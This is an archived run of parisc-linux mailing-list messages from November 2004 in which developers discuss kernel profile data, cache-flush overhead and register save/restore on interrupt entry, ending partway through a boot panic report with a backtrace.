List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22107

> As I'm sure you already know, we do have to be careful to avoid leaking
> kernel-internal or another task's information in the registers that
> are call-clobbered.  I know some architectures do this by having a
> kernel exit path that deliberately clobbers as many registers as possible.

sure, we can zero all the call clobbered registers on exit. But not
having to save all of those pesky floating pointer registers and half a
dozen general registers should still be a huge win.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 18:23:56 +0000
Lines: 69
Approved: news@gmane.org
Message-ID: <4193AE3C.9020509@tiscali.be>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623594 11709 80.91.229.3 (22 Nov 2014 02:33:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5289 invoked by uid 65534); 11 Nov 2004 18:24:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 11 Nov 2004 19:24:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4B7EE3BE30; Thu, 11 Nov 2004 11:24:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14925-07; Thu, 11 Nov 2004 11:24:24 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BF9C83BE3E; Thu, 11 Nov 2004 11:24:09 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AE2D3BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 11:24:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14938-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 11:24:01 -0700 (MST)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id C4F503BE30
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 11:24:00 -0700 (MST)
Original-Received: from [83.134.222.218] (helo=[83.134.222.218])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CSJbx-0004W0-P7; Thu, 11 Nov 2004 19:23:57 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041111081154.GR15714@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22108



Randolph Chung wrote:
>>I've collect two profiles for -64SMP and will collect
>>some UP profiles tomorrow. profiles so far are measuring
>>a full kernel build. I expect I'll do the same for -64UP
>>kernels too.
> 
> 
> hmm.. interesting. top consumers are (with idle loop functions removed)
> 
>  40646 flush_kernel_icache_page                 406.4600
>   7364 fdsync                                   368.2000
>  10567 flush_user_dcache_range_asm              293.5278
>  10387 flush_user_icache_range_asm              288.5278
mmm (may be another stupid remarks but) I noticed that:
     748 flush_user_dcache_page                     7.4800
    648 flush_user_icache_page                     6.4800
   4255 purge_kernel_dcache_page                  42.5500
  10567 flush_user_dcache_range_asm              293.5278
  10387 flush_user_icache_range_asm              288.5278
  40646 flush_kernel_icache_page                 406.4600
     10 flush_kernel_icache_range_asm              0.0862

i.e. flush_kernel_[di]cache_page is few used versus flush_kernel_[di]cache_range_asm while flush_user_[di]cache_range_asm is more 
used then flush_user_[di]cache_page.

Isn't it strange?

[...]

mmm also:
  49576 machine_restart                          774.6250

??
(I don't understand because stat were cleaned "readprofile -r" before the build)

> 
> we really need to do better at cache flushing..... anybody have any
> ideas? :)
> 
> but looking at the other ones:
> - __clear_user_page_asm can be optimized for 64-bit by writing 8 bytes
>   at a time instead of 4
> - _spin_lock* needs investigation to see if we have some bad locks
>   someplace. lockmeter anybody?
> - *lclu* can be rewritten to do better than 1-byte at a time
> - copy_user_page_asm can be sped up slightly by using pa_memcpy, but not
>   much when i tried last time
> - *lslen* can also probably be written in a smarter way... 
> 
> i suspect some areas for further investigation are:
> - can we do tlb_flush_mm() in a smarter way for SMP?
> - can we improve kernel entry time for interrupts (and syscalls) by
>   being smarter about what we save on the stack? (i.e. only callee-save
>   registers and not all the registers?)
> 
> volunteers? :)
> 
I couldn't realy help more but I will take a look in more details from time to time :)

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 11:36:05 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20041111183605.GA19327@colo.lackof.org>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org>
	<20041111173901.GX2639@baldric.uwo.ca>
	<20041111174258.GT15714@tausq.org>
	<20041111175021.GA26623@parcelfarce.linux.theplanet.co.uk>
	<20041111175933.GU15714@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623594 11713 80.91.229.3 (22 Nov 2014 02:33:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21932 invoked by uid 65534); 11 Nov 2004 18:36:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 11 Nov 2004 19:36:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C6F2E3BE36; Thu, 11 Nov 2004 11:36:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15297-02; Thu, 11 Nov 2004 11:36:21 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8B4653BE3E; Thu, 11 Nov 2004 11:36:13 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F253D3BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 11:36:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14925-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 11:36:07 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7C56A3BE30
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 11:36:07 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 7DA5F2980AA; Thu, 11 Nov 2004 11:36:06 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19824-02; Thu, 11 Nov 2004 11:36:05 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A175A298094; Thu, 11 Nov 2004 11:36:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041111175933.GU15714@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22109

On Thu, Nov 11, 2004 at 09:59:33AM -0800, Randolph Chung wrote:
> sure, we can zero all the call clobbered registers on exit. But not
> having to save all of those pesky floating pointer registers and half a
> dozen general registers should still be a huge win.

Randolph and I talked about this more privately.
In a nutshell, "huge win" is slightly overstating it and we agree
fixing the cache utilization would be a much bigger win.

Randolph thinks we can save 20 load and stores per interrupt
and potential context switches. The thinking is we are saving/restoring
some registers twice and should split the save/restore between
interrupt/trap and context switch code. So if no context switch is
performed, we only save/restore a subset of the registers manually
and the rest are preserved according to the ABI.
Did I get that right?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 10:51:52 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20041111185152.GV15714@tausq.org>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org> <4193AE3C.9020509@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623594 11717 80.91.229.3 (22 Nov 2014 02:33:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20875 invoked by uid 65534); 11 Nov 2004 18:52:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 11 Nov 2004 19:52:18 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 668BC3BE33; Thu, 11 Nov 2004 11:52:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15273-09; Thu, 11 Nov 2004 11:52:12 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6587A3BE40; Thu, 11 Nov 2004 11:51:56 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB2733BE36
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 11:51:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15297-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 11:51:50 -0700 (MST)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 614223BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 11:51:50 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E1E07CD832; Thu, 11 Nov 2004 10:51:52 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <4193AE3C.9020509@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22110

> i.e. flush_kernel_[di]cache_page is few used versus 
> flush_kernel_[di]cache_range_asm while flush_user_[di]cache_range_asm is 
> more used then flush_user_[di]cache_page.
> 
> Isn't it strange?

could it be that kernel mappings tend to be bigger and user mappings
tend to be smaller? i'm only guessing here...

> mmm also:
>  49576 machine_restart                          774.6250

this is an artifact of the way the measurements are done. these are
actually calls to cpu_idle().

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa11 profile data
Date: Thu, 11 Nov 2004 22:29:10 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20041112052910.GA29900@colo.lackof.org>
References: <20041111075431.GB9768@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623595 11719 80.91.229.3 (22 Nov 2014 02:33:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11571 invoked by uid 65534); 12 Nov 2004 05:29:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 12 Nov 2004 06:29:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 429F53BE30; Thu, 11 Nov 2004 22:29:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20732-05; Thu, 11 Nov 2004 22:29:44 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DF8FC3BE36; Thu, 11 Nov 2004 22:29:18 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 114843BE30
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 22:29:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20732-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 22:29:13 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 80F123BE2D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 22:29:12 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8015629803A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 22:29:11 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29904-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Nov 2004 22:29:10 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B3F96298038; Thu, 11 Nov 2004 22:29:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041111075431.GB9768@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22111

On Thu, Nov 11, 2004 at 12:54:31AM -0700, Grant Grundler wrote:
> I've collect two profiles for -64SMP and will collect
> some UP profiles tomorrow.

"tomorrow" finally arrived. :^)

> 	http://www.parisc-linux.org/~grundler/prof-j6700/

I've added the 64-bit UP profile numbers as promised.
And some of the top consumers look familiar:
root@gggj6k:~# sort -rnk 3 prof-2.6.10-rc1-pa11-64-01.txt
 40150 flush_kernel_icache_page                 401.5000
  6798 fdsync                                   339.9000
 10645 flush_user_dcache_range_asm              295.6944
 10353 flush_user_icache_range_asm              287.5833
 13871 machine_restart                          216.7344
 20839 __clear_user_page_asm                    186.0625
 10478 cpu_idle                                 145.5278
  1380 fisync                                    86.2500
   365 $lclu_done                                45.6250
  3794 purge_kernel_dcache_page                  37.9400
  3535 flush_kernel_dcache_page                  35.3500
  3279 copy_user_page_asm                        21.5724
  1358 find_get_page                             18.8611
   185 $lslen_loop                               15.4167
  1228 find_vma_prev                             12.7917
   101 $lslen_done                               12.6250
   128 $lsfu_loop                                 8.0000
   162 file_ra_state_init                         6.7500
...


enjoy!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c110 panic when try to boot 2.6.10-rc1-pa11?
Date: Sat, 13 Nov 2004 19:42:16 +0000
Lines: 228
Approved: news@gmane.org
Message-ID: <41966398.4070303@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623595 11724 80.91.229.3 (22 Nov 2014 02:33:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22631 invoked by uid 65534); 13 Nov 2004 19:43:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 13 Nov 2004 20:43:51 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0715E3BE2D; Sat, 13 Nov 2004 12:43:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08439-01; Sat, 13 Nov 2004 12:43:34 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0BAAB3BE36; Sat, 13 Nov 2004 12:42:29 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6907E3BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Nov 2004 12:42:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06271-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Nov 2004 12:42:19 -0700 (MST)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 51D913BE2D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Nov 2004 12:42:18 -0700 (MST)
Original-Received: from [83.134.225.214] (helo=[83.134.225.214])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CT3mq-0007Am-CV; Sat, 13 Nov 2004 20:42:17 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22112

hello pa*,

2.6.10-rc1-pa10 works fine on this c110 (as soon as I don't try to use the narrow se crtlr)

unfortunately 2.6.10-rc1-pa11 failled to boot with following message:

SCSI device sda: drive cache: write back
  sda:Backtrace:
  [<10152bd8>] __blk_queue_bounce+0x210/0x290
  [<10244814>] __make_request+0x68/0x508
  [<10245064>] generic_make_request+0x20c/0x2bc
  [<10245180>] submit_bio+0x6c/0x158
